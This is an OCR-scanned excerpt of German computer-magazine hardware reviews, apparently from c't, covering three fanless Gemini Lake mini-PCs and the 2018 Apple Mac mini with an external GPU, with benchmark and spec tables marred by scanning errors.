Buchsen eignet er sich beispielsweise fiir
Computerkassen. Ein optionaler Adapter
ermoglicht es, den WLAN-Adapter gegen
ein LTE-Modem zu tauschen, fiir Steu-
erungsaufgaben weitab von DSL. Auf
HDMI 2.0 muss man aber verzichten, 4K
mit 60 Hz gibts nur am DisplayPort.

TDP-Quatsch

Die Gemini-Lake-Familie besteht aus vier
Celerons und zwei Pentiums, die aufder je
zwei oder vier CPU-Kernen und einer
GPU auch samtliche Chipsatzfunktionen
enthalten: Zweimal SATA 6G, sechs PCle-
Lanes und bis zu vier USB-3.0-Ports.
HDR-Videos, USB 3.1 Gen 2 und PCle 3.0
gibt es nicht, dafiir verkauft Intel lieber
deutlich teurere Chips.

Die 6-Watt-Varianten der Gemini
Lakes erkennt man an einem ,,N“ in der

Typenbezeichnung wie beim Celeron
N4100 der beiden Zotacs, die 10-Watt-
Typen am ] wie beim Celeron J4005
(Shuttle). Wie auch dieser Test wieder
zeigt, sind die TDP-Klassen irrefithrend
und die Unterschiede in der Leistungsauf-
nahme fiir netzbetriebene Gerite irrele-
vant. Die N-Typen konnen im Leerlauf
sparsamer sein, sofern die Regelungs-
elektronik und das BIOS alle Register zie-
hen - das ist wichtig fiir Notebooks im
Akkubetrieb, aber nicht fiir Mini-PCs mit
Netzteil.

Der vierkernige Celeron N4100 in
der Zbox CI329 liegt im Multithreading-
Teil des Cinebench R15 nur um 36 Prozent
vor dem Celeron J4005 des XPC slim, ob-
wohl letzterer nur halb so viele Kerne hat.
In der winzigen Zbox PI335 holt der
Quad-Core sogar nur 24 Prozent Vor-
sprung heraus - weil er sich frith drosselt,
denn die Kiihlung reicht nicht aus. Bei den
lifterlosen Minis kommt es also auf gute
Konstruktion an, sonst verpuftt das Leis-
tungspotenzial der Hardware.

Barebones

Die Zbox PI335 ist ein Komplettrechner
inklusive RAM, Flash-Speicher und Win-
dows 10 Home N. Die beiden anderen
Priiflinge sind Barebones, hier muss man
RAM, SSD oder Festplatte und Betriebs-
system noch selbst kaufen und einbauen
beziehungsweise installieren. Fiir eine
128-GByte-SSD und 4 GByte RAM wer-
den zusammen noch 70 Euro Aufpreis fil-
lig - die reine Hardware eines funktions-
fahigen Minis kostet somit also rund 250
Euro. Wer Windows will, muss dann noch
rund 90 Euro fiir eine Windows-10-Lizenz
hinblittern. Linux lauft auf Gemini-Lake-
Systemen meistens problemlos und auch
die WLAN-Adapter von Intel sind mit
Treibern versorgt. Mit Ubuntu 18.10 liegt
die Leistungsaufnahme zunichst typi-
scherweise um 1 bis 2 Watt hoher als unter
Windows 10, lisst sich aber sogar auf
niedrigere Werte driicken, wenn man
SATA Link Power Management (LPM) mit
powertop aktiviert.

Laut Intel-Datenblatt steuern die
Atom-Celerons seit Generationen hochs-
tens je 8 GByte Arbeitsspeicher an, in der
Praxis vertragen sie aber fast immer auch
16 GByte - und Shuttles Barebone sogar
32 GByte.

Innovationen
Jedes Testgerit kann mit sorgfiltig gelos-
ten Details gldnzen. So arbeitet die Zbox
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PI335 pico Gemini Lake extrem sparsam
und Zotac legt einen USB-Stick fiirs Win-
dows-Recovery bei. Bei der Zbox CI329
gefillt das schnelle WLAN, beim XPC
mini das solide Blechgehiuse sowie das
gut gewihlte Netzteil.

Doch es gibt auch Schattenseiten. Die
SD-und MicroSD-Kartenleser arbeiten al-
lesamt lahm. Shuttles WLAN-Adapter ver-
schmiht das 5-Gigahertz-Band. In der
Zbox pico steckt viel zu wenig Flash-Spei-
cher. Anders als Intels NUCs hat keiner der
drei Winzlinge eingebaute Mikrofone oder
Empfinger fiir eine Infrarot-Fernbedie-
nung. Und keiner reizt die Fahigkeiten der
Gemini-Lake-Chips aus. Vor allem wiirde
man sich mehr Massenspeicher-Anschliis-
se wiinschen, etwa zusitzliche M.2-Fas-
sungen fiir SATA- oder PCIe-SSDs.

Fazit

Lifterlose Mini-PCs mit Gemini Lake
kosten weniger als 300 Euro und lassen
sich fast unsichtbar montieren. Sowohl
Rechenleistung als auch Erweiterungs-
moglichkeiten sind allerdings sehr be-
grenzt. Leistungshungrige Anwendungen
machen keinen Spaf oder laufen nicht
fltissig.

Es bleiben aber noch viele Einsatz-
bereiche iibrig, fiir die sich die drei getes-
teten Minis gut eignen, etwa fiir einen an-
spruchslosen Gelegenheits-Arbeitsplatz,
als Computerkasse oder fiir eine Open-
Source-Firewall.

Die Zbox CI329 nano ldsst sich be-
sonders flexibel nutzen, je zwei Buchsen
stehen fiir schnelles Netzwerk und fiir
Monitore bis zur 4K-Auflosung bereit.

Lifterlose Mini-PCs mit Intels Gemini-Lake-Celerons

(Gt [ xeCsimDL0) Zbox €1329 nano Zbox PI335 pico Gemini Lake

Hersteller Shuttle (shuttle.eu)

Prozessor (Gemini Lake)

Celeron J4005 (2 Kerne, 2,0 / 2,7 GHz)

Zotac (zotac.com)
Celeron N4100 (4 Kerne, 1,1 / 2,4 GHz)

Liifterlose Mini-PCs | Test

Noch attraktiver wire das Kistchen mit
einem Steckplatz fiir eine M.2-SSD. Die
Zbox PI335 pico ist ein Hingucker, das
winzige Format beschrinkt aber die Re-
chenleistung und die 32 GByte Flash-Spei-
cher sind zu knapp bemessen - dafiir ist
sie letztlich auch zu teuer. Beim Shuttle
XPC Slim DL10]J wiirde man sich aufder
einem zeitgemafien WLAN-Adapter noch
HDMI 2.0 wiinschen, der robuste und fle-
xibel erweiterbare Metallquader eignet
sich aber vor allem fiir gewerbliche Ein-
satze. (ciw@ct.de) €€

Literatur

[1] Christian Hirsch, Abgemagert, Liifterloser Mini-
PC mit Windows 10, c't 22/2017, S. 42

[2] Christof Windeck, 4K-Zuspieler, Bezahlbare,
leise Mini-PCs mit HEVC-Decoder und HDMI 2.0,
c't13/2017, S. 124

Zotac (zotac.com)
Celeron N4100 (4 Kerne, 1,1/ 2,4 GHz)

Grafik (in CPU eingebaut) Intel UHD600 Intel UHD600 Intel UHD600

RAM 2 X S0-DIMM, max. 32 GByte DDR4-2400" 2 X S0-DIMM, max. 16 GByte DDR4-2400! 4 GByte LPDDR4 (verlgtet)

Gigabit Ethernet 1 X Intel 1211 2 X Realtek RTL8111 1 X Realtek RTL8111

WLAN M.2-2230 mit Realtek RTL8188EE, 802.11bgn, M.2-2230 mit Intel Wireless-AC 9462, 802.11ac, Intel Wireless-AC 9462, 802.11ac, 433 MBit/s,
150 MBit/s, 2,4 GHz 433 MBit/s, 2,4 & 5 GHz 2,4 &5 GHz

WLAN-Antenne 1 X extern (Bohrung fiir zweite) 1 X extern 1 X intern

Einbauplatz SSD o. Festplatte 1x25"/1xM.2 (2280, 2260, 2242, PCle 2.0 x2) 1x25" — (32 GByte eMMC-Flash Samsung BJTD4R)

Anschliisse hinten

Anschliisse vorne

Anschliisse seitlich

Abmessungen (mit Netzteilstecker)
Netzteil

Netzteilkabel

VESA-Halterung

Besonderheiten

1XxDP1.2,1 X HDMI 1.4,1 X VGA, 4 x USB 2.0,
2 COM, 1 X LAN, 1 X WLAN-Ant., 1 X Netzteil

2 % USB-A 3.0, 2 x Audio-Klinke, SD-Kartenleser

Kensington-Lock

16,7 cm X 4,5 ¢cm % 20,5 (21) cm

APD DA-40B19 19V /2,1A

1,8m

100, 75 (beiliegend)

Anschluss f. externe Taster, LTE-Modem-Adapter optional

1XxDP1.2,1 X HDMI 2.0, 1 X VGA, 1 X USB 2.0,
2 X USB-A 3.0, 1 X LAN, 1 x WLAN-Ant., 1 X Netzteil

1 X USB-C 3.0, 1 X USB-A 3.0, 2 X Audio-Klinke,
SD-Kartenleser

Kensington-Lock

12,8 cm X 5,8 cm X 12,5 (14,5) cm
Delta ADP-40KD 19V /2,1A

1,7m

100, 75 (beiliegend)

USB 2.0 hinten mit Ladefunktion

1xDP1.2,1xHDMI2.0,1 % USB-C 3.0, 1 X LAN,
1 X Audio-Klinke

1 X MicroSD-Kartenleser

links: 2 x USB-A 3.0, Netzteilstecker,
rechts: Einschalttaster

11 (14 cm)x 2,1 cm X 7,7 cm
AK36WG 5V / 4A

1,2m

100, 75 (beiliegend)

besonders klein, Wiederherstellungs-Image auf USB-Stick

Messwerte (16 GByte RAM, SATA-6G-SSD, Full-HD-Tastatur, USB-Tastatur/-Maus, Windows 10)

BIOS-Version

Boot-Modi: BIOS / UEFI ohne / mit Secure
Boot

Boot-Dauer Windows 10
Cinebench R15 Single- / Multithreading

Datentransferrate USB 3.0 schreiben /
lesen

(Micro-)SD schreiben / lesen
eMMC-Flash schreiben / lesen

Leistungsaufnahme Soft-off / Energie
sparen

Leerlauf / Volllast
WLAN 2,4 / 5 GHz nah

Audio: analoge Signalqualitat Aufnahme /
Wiedergabe

Preis
! Jaut Intel-Datenblatt maximal 8 GByte
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27 s (17 s ohne EuP)
78 /147
450 / 440 MByte/s

31 /27 MByte/s

04/08W

45/18W
95 /— MBit/s
@®/0

175 €

@@ sehr gut ® gut

QO zufriedenstellend

27.07.2018
VIVIV

18s
72/200
458 / 450 MByte/s

38 / 43 MByte/s

1,1(0,3EuP)/1,4W

40/12W
95 /256 MBit/s
@®/0

185 €

© schlecht ©®O sehr schlecht

10.09.2018
VIVIV

18s
68 /182
451 / 450 MByte/s

40 / 42 MByte/s
74/ 82 MByte/s (2400 / 7600 I0PS)
0,7/08W

24799W
98 / 199 MBit/s
@/=

270 € (mit Windows 10 Home N)

V/ vorhanden — nicht vorhanden
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Shuttle XPC slim DL10J

Mit einer VGA-Buchse, zwei COM-
Ports - einer davon auf RS-485 und
RS-422 umschaltbar -, Anschliissen
flr externe Taster sowie einem optio-
nalen Adapter fir LTE-Modems eignet
sich Shuttles XPC slim DL10J etwa
auch fir Computerkassen, Verkaufs-
automaten oder Steuerungsanlagen.
Das solide Blechgehause ist deutlich
volumindser (1,5 Liter) als die der Kon-
kurrenten. Das Netzteil ist schlank und
hat ein diinnes, zweiadriges Kabel.

Moderner Schnickschnack wie
USB-C fehlt dem XPC Slim DL10J.
Nicht mehr zeitgemal sind die Trans-
ferraten des SD-Kartenlesers. Der
WLAN-Adapter kann nur 802.11bgn
und auch nur im 2,4-GHz-Band. Er
|asst sich gegen einen 50 Euro teuren
Adapter tauschen, in die ein LTE-
Modem im M.2-Format sowie die no-
tige SIM passt.

AuBer einer 2,5-Zoll-SSD (oder
-Platte) kann man zusatzlich oder al-
ternativ eine M.2-SSD mit SATA- oder
PCle-NVMe-Controller einbauen. Weil
aber nur zwei PCle-2.0-Lanes anlie-
gen, sind nicht mehr als 1 GByte/s
moglich. Im Test schaffte eine SSD
mit PCle x2 sogar nur 400 MByte/s -
Shuttle klart das noch.

Der XPC slim DL10J lief problem-
los und verdaut auch 32 GByte RAM.
Der Dual-Core-Celeron mit 10 Watt
kommt nahe an die Rechenleistung
des 6-Watt-Vierkerners heran. Schade,
dass die HDMI-Buchse keine HDMI-
2.0-Signale liefert - 4K-Auflosung mit
60 Hz gibts nur am DisplayPort.

Zotac Zbox CI329 nano

Die Zbox CI329 ist nach CI327, CI325,
CI323 und CI320 schon die fiinfte Ge-
neration dhnlicher Mini-PCs im lUfter-
losen 1-Liter-Gehause. Wer die Vorgan-
ger kennt, erlebt mit der Zbox CI329
nano keine Uberraschungen. Seit der
CI323 baut Zotac stets zwei Gigabit-
Ethernet-Ports ein, was in dieser Preis-
klasse Seltenheitswert hat und Netz-
werktUftler freut. Seit der CI327 [2]
lasst Zotac den eingebauten IR-Emp-
fanger fir eine Media-Center-Fernbe-
dienung weg.

Im Vergleich zur etwas billigeren
Vorgangerin Zbox CI327 mit Celeron
N3450 (Generation Apollo Lake) ist der
Celeron N4100 vor allem bei Single-
threading schneller (72/200 statt
48/178 Cinebench-R15-Punkte). Die
CI329 steuert zwei 4K-Displays mit 60
Hertz an.

Mehr Fortschritt wiirde man sich
bei den Massenspeicher-Einbauplatzen
winschen, denn weiterhin ist der SD-
Kartenleser lahm und es passt nur eine
einzige 2,5-Zoll-SSD oder -Festplatte in
den Quader. Eine zusatzliche M.2-
2280-SSD ware schon. Den einzigen
M.2-Slot belegt das WLAN-Kéartchen,
bei dem Zotac Intels CNVi-Technik
nutzt. Trotz nur einer Antenne flieBen
Daten im 5-GHz-Band fiir WLAN passa-
bel flott.

Ubuntu 18.10 lieB sich beim Test-
gerat nur im BIOS-Startmodus instal-
lieren.

Zotac Zbox PI335 pico
Gemini Lake

Das Z-Boxchen war einst als PI336 an-
gekiindigt und so steht es auch noch
im OEM-String des BIOS. AuBerdem
gibt es noch die alte Version mit Apol-
lo Lake - Augen auf beim Kauf! Die
Winzigkeit der ZBox PI335 geht mit ei-
nigen Nachteilen einher: Die relativ
wenigen Anschlisse verteilen sich auf
drei Gehauseseiten und die Kiihlung
ist fiir Volllast zu knapp dimensioniert.
Zwar lauft die Box stabil, aber der Pro-
zessor drosselt sich rasch. Der Celeron
N4100 absolviert den Cinebench R15
folglich um 9 Prozent langsamer als in
der Zbox CI329 nano. Immerhin min-
dert der Celeron in der Zbox PI335 sei-
nen Takt erst deutlich spéter als in der
noch flacheren Zbox PI225 [1].

An zwei Stellen spart Zotac ohne
Platznot. So ist die ,N“-Version von
Windows 10 Home vorinstalliert, die
Videofunktionen muss man also per
Media Feature Pack erst noch nach-
risten. Schwerer wiegt der mit nur 32
GByte viel zu knapp bemessene und
obendrein lahme eMMC-Flash-Spei-
cherchip. Anfangs waren schon nur
kiimmerliche 19,1 GByte frei, nach
dem Windows-Update auf Version
1809 blieben unzumutbare 15 GByte
Uibrig. Massenspeicher lasst sich zwar
per MicroSD-Karte nachlegen, der
Reader ist aber ebenfalls lahm.

Mechanisch wirkt die PI335 wer-
tig, die Leistungsaufnahme beein-
druckt: 2,4 Watt im Leerlauf, mit zwei
4K-Displays gleichzeitig sind es auch
nur 3,7 Watt. Die Performance reicht
aber nur fur sehr einfache Aufgaben.

O sparsam, solide
© mit (einfachem) WLAN
© kein USB-C

O 2 x Gigabit-Ethernet, sparsam
© 5-GHz-WLAN
© lahmer Kartenleser, 1 x SATA 2,5"

© sehr sparsam, winzig

© lahm
© nur 15 GByte Speicher frei
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Kleiner Apfel mit
mehr Kernen

Apple Mac mini mit Quad- und Hexa-

Core-Prozessoren

Nach vier langen Jahren bekommt
der Mac mini ein modernisiertes
Innenleben. Mit vier oder sechs
CPU-Kernen legt er ordentlich an
Leistung zu. Per Thunderbolt 3 ldsst
er sich zu einem ,,Mac Pro mini”
aufriisten - Argernisse bleiben
trotzdem.

Von Benjamin Kraft

[ X J

A uflerlich gleich und doch anders, so

tritt der neue Mac mini des Modell-
jahrs 2018 auf. Am Gehiuseformat hat
sich gegeniiber der 2014er-Revision
nichts verandert, es bleibt bei der geduck-
ten, breiten Form. Inzwischen gibt es zwar
wesentlich kompaktere Kleinstrechner
wie Intels NUCs oder Zotacs ZBoxen,
doch anders als der Mini lagern die ihr
Netzteil aus und setzen Intels Mobilpro-
zessoren ein. Apple hingegen greift zu
stiarkeren Desktop-PC-Chips

Anstelle des klassischen Mac-Silbers
tragt der Mini nun das bei Apple derzeit
angesagte Space Grey. Laut Hersteller be-
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steht das Gehduse aus recycletem Alumi-
nium: Apple schmilzt die Spédhne, die
beim Friasen der Unibody-Gehiuse abfal-
len, wieder ein und fertigt daraus das
Mini-Chassis. Die Status-LED an der
Front ist nach unten gerutscht, das kleine
IR-Empfangerbullauge ist verschwunden.
Grofdere Veranderungen gibt es an der
Riickseite zu entdecken. Der Kartenleser
ist Geschichte und die Anzahl der USB-
3.0-Buchsen halbiert sich auf zwei. Dafiir
gibt es nun vier Thunderbolt-3-Buchsen im
USB-C-Format. Diese Multitalente {iber-
tragen nicht nur Daten mit bis zu 40 GBit/s
an schnelle Thunderbolt-Peripheriegerite
wie externe RAID-Speicherboxen, son-
dern beherrschen auch USB 3.1 Gen 2 mit
10 GBit/s. Aulerdem laufen auch Display-
Port-Daten tiber die Leitung. Spannt man
auch die HDMI-2.0-Buchse mit ein, treibt
der Mini entweder drei 4K-Displays oder
zwei 4K-Displays und einen 5K-Monitor
gleichzeitig bei ruckelfreien 60 Hz an.
Die Thunderbolt-3-Schnittstelle tut
dem Mini aber auch aus einem anderen
Grund gut: Sie ermdglicht ein Upgrade der
3D-Power, indem man eine externe Gra-
fikkarte (eGPU) anschliefdt. Die verbessert
nicht allein die 3D-Performance, sondern

liefert auch viel Rechenleistung fiir Video-
schnitt und andere Projekte, die Apples
Rechen- und Grafikschnittstelle Metal
nutzen - dazu spater mehr. Geblieben sind
die Kopthorerbuchse und der Gigabit-
Ethernet-Anschluss. Gegen einen Auf-
preis von 120 Euro bietet Apple auch einen
NBase-T-Controller von Aquantia (AQ107)
an, der aufler 10 Gigabit/s auch die Ge-
schwindigkeitsstufen 5, 2,5 und 1 GBit/s
beherrscht.

Kern-Upgrades

Das eigentliche Upgrade hat sich aber
unter dem Alukleid vollzogen. Im neuen
Modell arbeiten aufgelotete Desktop-Pro-
zessoren der Core-i-8000-Serie, also der
Coffee-Lake-Generation. Im Einstiegs-
modell setzt Apple den 3,6 GHz schnellen
Vierkerner Core i3-8100B ein, der ohne
Hyper-Threading und Turbo auskommen
muss. Im besser bestiickten Mini-Modell
steckt der Sechskern-Prozessor Core i5-
85008 (3,0 GHz, mit Turbo bis 4,1 GHz).
Bei beiden kann man auf Wunsch den
Core i7-8700B ordern (3,2 GHz, Boost bis
4,6 GHz, Hyper-Threading).

Durchweg kommt die integrierte Intel-
Grafik UHD Graphics 630 zum Einsatz. In
Spielen ldsst sich damit immer noch kein
Blumentopf gewinnen. Immerhin be-
herrscht die Intel-GPU die Wiedergabe ak-
tueller Videoformate wie VP9 oder H.265
in Hardware und entlastet so den Haupt-
prozessor. Zudem lasst sie sich als Compu-
te Device in Metal-Anwendungen fiir Be-
rechnungen einspannen.

Waren bei den 2014er Minis die SSDs
nachriistbar und der Speicher aufgeldtet,
ist es beim neuen Jahrgang anders herum:
In der Basisausstattung sind bei jedem
Mini 8 GByte DDR4-2666 an Bord, die sich
gegen andere SODIMMs tauschen lassen,
sofern man das notige Werkzeug besitzt
und sich den Eingriff zutraut. Der setzt vo-
raus, dass man den kleinen Apfel praktisch
komplett entkernt: Erst 10st man diverse Si-
cherheits-Torx-Schrauben und Kabel, um
dann das Innenleben herauszuziehen. Eine
Video-Anleitung finden Sie iiber
ct.de/yxvk. Alternativ ordert man bis zu 64
GByte direkt von Apple - zu Mondpreisen
von 240 Euro pro zusitzlichen 8 GByte.

Die SSDs sind Teil des Mainboards.
Das ist drgerlich, weil Apple bei der Kapa-
zitdt knausert. Ab Werk hat das Einstiegs-
modell gerade einmal 128 GByte an Bord.
Das ist zum Preis von 900 Euro schon
eine Unverschamtheit. Gegen Aufpreis
kann man bis zu 2 TByte an Kapazitit or-
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https://ct.de/yxvk

dern; dann kostet das Upgrade beim Ein-
stiegsmodell mit 1920 Euro doppelt so viel
wie der komplette Rechner. Das Sechs-
kern-Modell bekommt zwar 256 GByte
Speicher mit, kostet aber auch 350 Euro
mehr. Positiv: Die NVMe-SSDs lesen mit
3 GByte/s ebenso schnell wie die in ande-
ren aktuellen Macs.

Neu im Mini ist der von Apple entwi-
ckelte T2-Chip auf ARM-Basis, der bereits
im iMac Pro [1], dem aktuellen MacBook
Pro und neuerdings dem MacBook Air
zum Einsatz kommt. Er fungiert als
Sound-Chip, SMC-Ersatz (System Ma-
nagement Controller) und SSD-Control-
ler. Zudem verschliisselt er automatisch
die interne SSD und legt den Schliissel in
seiner Secure Enclave ab. Damit sind die
Daten der SSD an den jeweiligen Mac ge-
bunden und lassen sich nirgends anders
auslesen. Da die Flash-Module direkt auf
dem Mainboard sitzen, ist dies ohnehin
nur ein hypothetischer Fall - Backups sind
also unerldsslich. AufSerdem tberwacht
der T2-Chip die Systemsicherheit und den
Boot-Vorgang, um Manipulationen fest-
zustellen. Die Installation von Windows
ist nach wie vor moglich und mit dem
Boot-Camp-Assistenten bequem erledigt.
Die Mac-Partition bleibt Windows aller-
dings verborgen, unter anderem weil
Apple keine APFS-Treiber bereitstellt.

Performance-Schub

Apple schickte uns fiir den Test zwei
Minis: Das neue Basismodell mit 3,1-GHz-
Prozessor und 128-GByte-SSD sowie das
grofdere Modell, das Apple mit i7-Prozes-
sor, Terabyte-SSD und 32 GByte RAM
michtig aufbrezelte. Zum Vergleich stan-
den uns zwei Varianten des bisherigen
Mac mini aus dem Redaktionsbestand zur
Verfiligung: Der alte, 600 Euro giinstige
Einsteiger-Mini mit 1,4 GHz-Prozessor
und 4 GByte RAM sowie die ehemalige
mittlere Konfiguration mit 2,6-GHz CPU
und 8 GByte RAM. In beiden rotieren ab
Werk noch 2,5"-Festplatten.

Apple Mac mini | Test

Hinten tragt der Mac mini 4 x Thunderbolt 3 (mit USB-C), zwei USB-3.0-
Ports, HDMI 2.0, einen Ethernet-Anschluss und eine Kopfhérerbuchse.

Der Sprung von der Haswell- auf die
Coffee-Lake-Generation, verbunden mit
der Kernvermehrung und den hoheren
Taktraten, sorgt fiir einen merklichen Per-
formance-Schub. Schon der neue Einstei-
ger-Mini mit i3-CPU hiéngte das mittlere
Modell der Vorgingergeneration mit 586
zu 273 Cinebench-Punkten knallhart ab.
Die aufgemotzte i7-Version erzielte 1193
Punkte. Kleiner Seitenhieb am Rande: Der
seit 2013 unveriandert angebotene Mac Pro
kam mit Sechskern-CPU auf 933 Punkte.

Einen zehnminiitigen H.264-Film
(Big Buck Bunny, 4K, 60 Hz) konvertier-
ten die beiden neuen Minis in DaVinci Re-
solve per Metal-Schnittstelle mithilfe der
integrierten Intel-GPU in ungefahr 27 Mi-
nuten in ein H.265-Video mit Full-HD-
Auflésung. Das i5-Modell von 2014 lief3
sich dafiir knapp viereinhalb Stunden Zeit.
Offenbar ist es mit der Metal-Unterstiit-
zung der HD Graphics 5000 von 2014
nicht besonders weit her, sodass die CPU
mehr ranmuss.

Die SSDs der 2018er-Minis ziehen
den alten Modellen gnadenlos davon. Da
bei der alten Garde noch Festplatten oder
bestenfalls Fusion Drives zum Einsatz
kamen, liegen die neuen Minis beim
Lesen um Faktor 30 vorn. Die Schreibge-
schwindigkeit hangt hingegen von der Ka-
pazitit ab: Die Terabyte-SSD in unserem
Sechskern-Testgerit schrieb mit knapp
3 GByte/s, das 128-GByte-Modell des
Quad-Cores erzielte immer noch gute 957
MByte/s. Auch das ist eine Groflenord-
nung mehr als beim Vorginger.

Performance-Benchmarks: Mac mini 2018

Cinebench Unigine Valley Rise of the Tomb Raider Deus Ex: Mankind Divided | DaVinci Resolve Video trans- | Quickbench
1 Kern / n-Kern Full HD, Preset Medium Full HD, Preset Mittel Full HD, Preset Mittel kodieren mit / ohne eGPU | schreiben / lesen

Allerdings waren die Haswell-Minis
von 2014 schon zu ihrer Vorstellung weder
taufrisch noch besonders schnell. Der
grofde Performance-Sprung resultiert also
vor allem daraus, dass Apple die Minis so
lange mit veralteter Technik verkaufte,
jetzt gleich mehrere CPU-Generationen
nachholt und die kiinstlichen Bremsen bei
RAM und Festspeicher lockert.

Grafikturbo eGPU
Ob Bild- und Videobearbeitung oder 3D-
Spiel: Immer mehr Mac-Software nutzt
Apples 3D- und Compute-Schnittstelle
Metal, um Berechnungen auf die GPU aus-
zulagern. Wie oben beschrieben, ist es mit
der Performance der integrierten Intel Gra-
phics UHD 630 aber nicht allzu weit her.
Per Thunderbolt 3 kann man mit einem ex-
ternen GPU-Gehéuse relativ einfach Gra-
fikpower nachriisten. Voraussetzung ist
freilich, dass die Wunsch-Software die
Wahl der GPU zulisst. Dies sollte man im
Vorfeld klaren. MacOS beherrscht den Um-
gang mit eGPUs seit High Sierra (10.13.4).
Fiir unseren Test bestlickten wir eine
Sonnet eGFX Breakaway Box (550W) [2]
mit einer Sapphire Nitro+ Radeon RX 580
8GD5. Aktueller Marktwert der beiden
Komponenten: zusammen rund 500
Euro. Alternativ konnte man auch eine an-
dere von Apple unterstiitzte AMD-GPU
aus der Polaris- (RX 500) oder Vega-Fa-
milie wahlen, doch die Radeon RX 580
bietet derzeit ein attraktives Preis-Leis-
tungs-Verhiltnis. Aktuelle Nvidia-GPUs
unterstiitzt macOS Mojave (10.14.x) hin-

[Punkte] besser» [fps] besser» [fps] besser» [fps] besser» [mm:ss] besser» [MByte/s] besser»
Mac mini 2014 (Core i5, 1,4 GHz) W= 95/235 . 12 - - I -/318:44 1103/103
Mac mini 2014 (Core i5, 2,6 GHz) mm 110/273 . 12 - - I -/284:19 197/97
iMac 2017, (Core i5,3,5 GHz)! ~ mmmmmm 151/527 I (7 N (5 N 54 | -/12:56 I 2039/2566
Mac mini 2018 (Core i3, 3,6 GHz) W= 152/586 . 15 I 737 I /5 I 8:40/28:50 I 957/2999
Mac mini 2018 (Core i7,3,2 GHz) S 191/1193 == 19 I 737 I /5 11 8:35/27:40 I 3215/3262

1 Grafikkarte: AMD Radeon Pro 575
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gegen nicht, und Nvidia bietet derzeit fiir
diese macOS-Version auch keine eigenen
Treiber zum Download an.

Der Monitor hing bei den Messungen
an der Breakaway Box, die wiederum via
Thunderbolt-3-Kabel mit dem Mac ver-
bunden war. So muss das Signal nicht die
moglicherweise bremsende Rundreise
aus dem Mac zur eGPU und zuriick neh-
men, um zur Anzeige zu kommen.

Derart erweitert, wird der Mini sogar
spieletauglich. Verweigerten die Spiele
Rise of the Tomb Raider und Deus Ex:
Mankind Divided auf der Intel-GPU den
Start mit dem Hinweis, die Hardware ent-
spreche nicht den Anforderungen, liefen
sie mit angesteckter eGPU klaglos. Mac-
typisch lag die Bildrate dennoch weit
unter den Windows-Ergebnissen mit glei-
cher Hardware: In Full HD reichte es im
Preset Mittel in Rise of the Tomb Raider
fiir rund 73 fps (Bilder pro Sekunde), Deus
Ex zeigte 45 fps. Dass es nicht an der aus-
gelagerten GPU liegt, zeigt der Blick auf
den iMac Modelljahr 2017 mit eingebau-
ter Radeon Pro 575. Er schaffte 65 respek-
tive 54 fps.

DaVinci Resolve profitierte enorm von
der zusitzlichen Rechenleistung: Statt
27 dauerte es nur noch etwa achteinhalb
Minuten, das Video in H.265 umzurech-

nen. Die Radeon Pro 575 im iMac brauchte
fiir die gleiche Aufgabe 13 Minuten.

Lautstarke und
Leistungsaufnahme

Der Mini mit Core i3 erwies sich selbst
unter Volllast als absoluter Leisetreter. An-
ders der Sechskerner, dessen Liifter
manchmal schon bei kleineren Hinter-
grundaufgaben losdrehte. Unter Last gab
er dann 2 Sone von sich - nicht gerade
wenig filir einen Desktop-Rechner, der
nahe am Ohr des Nutzers steht.

Die Leistungsaufnahme fillt im Leer-
lauf niedrig aus. Auch unter Last gibt es
nichts zu meckern. 3 Watt im Ruhezustand
sind beim Sechskerner auf den ersten Blick
recht viel, gehen aber wohl auf das Konto
der 32 GByte RAM im Testgerit.

Fazit
Das Hardware-Upgrade steht dem Mac
mini fraglos gut zu Gesicht und verleiht
ihm durchaus das Potenzial zum Aushilfs-
Mac-Pro - zumal mit sechs Kernen. Die
Modernisierung war aber auch liangst
tiberfillig und geht mit einer atemberau-
benden Preiserhohung einher.
Allerdings stellt man sich wie bei
immer mehr Geriten in Apples Produkt-
portfolio auch hier die Frage, an wen sich

Mac mini 2018: Technische Daten

‘_ Mac mini (Quad-Core-Prozessor) Mac Mini (6-Core-Prozessor)

Hersteller Apple

Apple

‘ Hardware-Ausstattung

CPU / Kerne / Takt (Turbo)
CPU-Fassung

RAM (Typ / Max ) / -Slots (frei)
Grafik (-speicher)

SSD (Typ, Kapazitét)
Sound-Chip / Kartenleser

LAN (Geschwindigkeit, Chip)

AppleT2 /—

Abmessungen (B x H XT) / Gewicht
Anschliisse hinten

Core i3-8100B / 4 / 3,6 GHz

FCBGA1440 (aufgeldtet)

8 GByte (DDR4-2666 / 64) / 2 (0)

Intel UHD Graphics 630 (bis 1,5 GByte shared)
Apple AP0128M (NVMe, 128 GByte)

Gigabit Ethernet (Broadcom BCM57766)
WILAN (Geschwindigkeit) / Bluetooth (Generation) 802.11ac (866 MBit/s) / v/ (5.0)
19,7 mm X 3,6 mm X 19,7 mm / 1,3 kg

1 X HDMI 2.0, 1 X analog Audio, 1 X LAN,
2 x USB 3.0, 4 x Thunderbolt 3!, Netz

Core i7-8700B / 6 + HT / 3,2 GHz (4,6 GHz)
FCBGA1440 (aufgeldtet)

32 GByte (DDR4-2666 / 64) / 2 (0)

Intel UHD Graphics 630 (bis 1,5 GByte shared)
Apple AP1024M (NVMe, 1 TByte)

AppleT2 /—

10 Gigabit Ethernet LAN (Aquantial AQ107)
802.11ac (866 MBit/s) / v/ (5.0)

19,7 mm X 3,6 mm X 19,7 mm / 1,3 kg

1 X HDMI 2.0, 1 X analog Audio, 1 X LAN,
2 X USB 3.0, 4 x Thunderbolt 3', Netz

‘ Elektrische Leistungsaufnahme, Datentransfer-Messungen und Geréuschentwicklung

Soft-Off / Energie Sparen / Leerlauf (FullHD)
Volllast: CPU / CPU und Grafik
SSD: Lesen (Schreiben)

86W/T0W

05W/1,1W/56W

2.999 (957) MByte/s
Gerauschentwicklung: Leerlauf / Volllast (Note) < 0,1 Sone (®@®) / < 0,1 Sone (B®)

04W/30W/10,7W
107W/115W

3.300 (2.853) MByte/s

<0,1 Sone (®®) / 2,0 Sone (©O)

oo R

Systemleistung: Office / Rendering / Spiele ®®/0/00
Audio-Wiedergabe / Gerauschentwicklung [CCUCE)
Preis? 899 €

! ausgefiihrt als USB-C-Buchse inklusive USB 3.1 Gen 2 sowie DisplayPort 1.2
® schlecht

@@ sehrgut @ gut O wufriedenstellend

116 HBE

@D/ ®/ 00
@®/0
2329 €

2 getestete Konfiguration

©0O sehr schlecht  +/ vorhanden  — nicht vorhanden

SchlieBt man per Thunderbolt

eine eGPU wie die Sonnet eGFX
Breakaway Box an, macht der Mac
mini den teureren iMacs Konkurrenz.

das Gerit eigentlich richtet. Der urspriing-
liche Daseinszweck, wechselwillige Win-
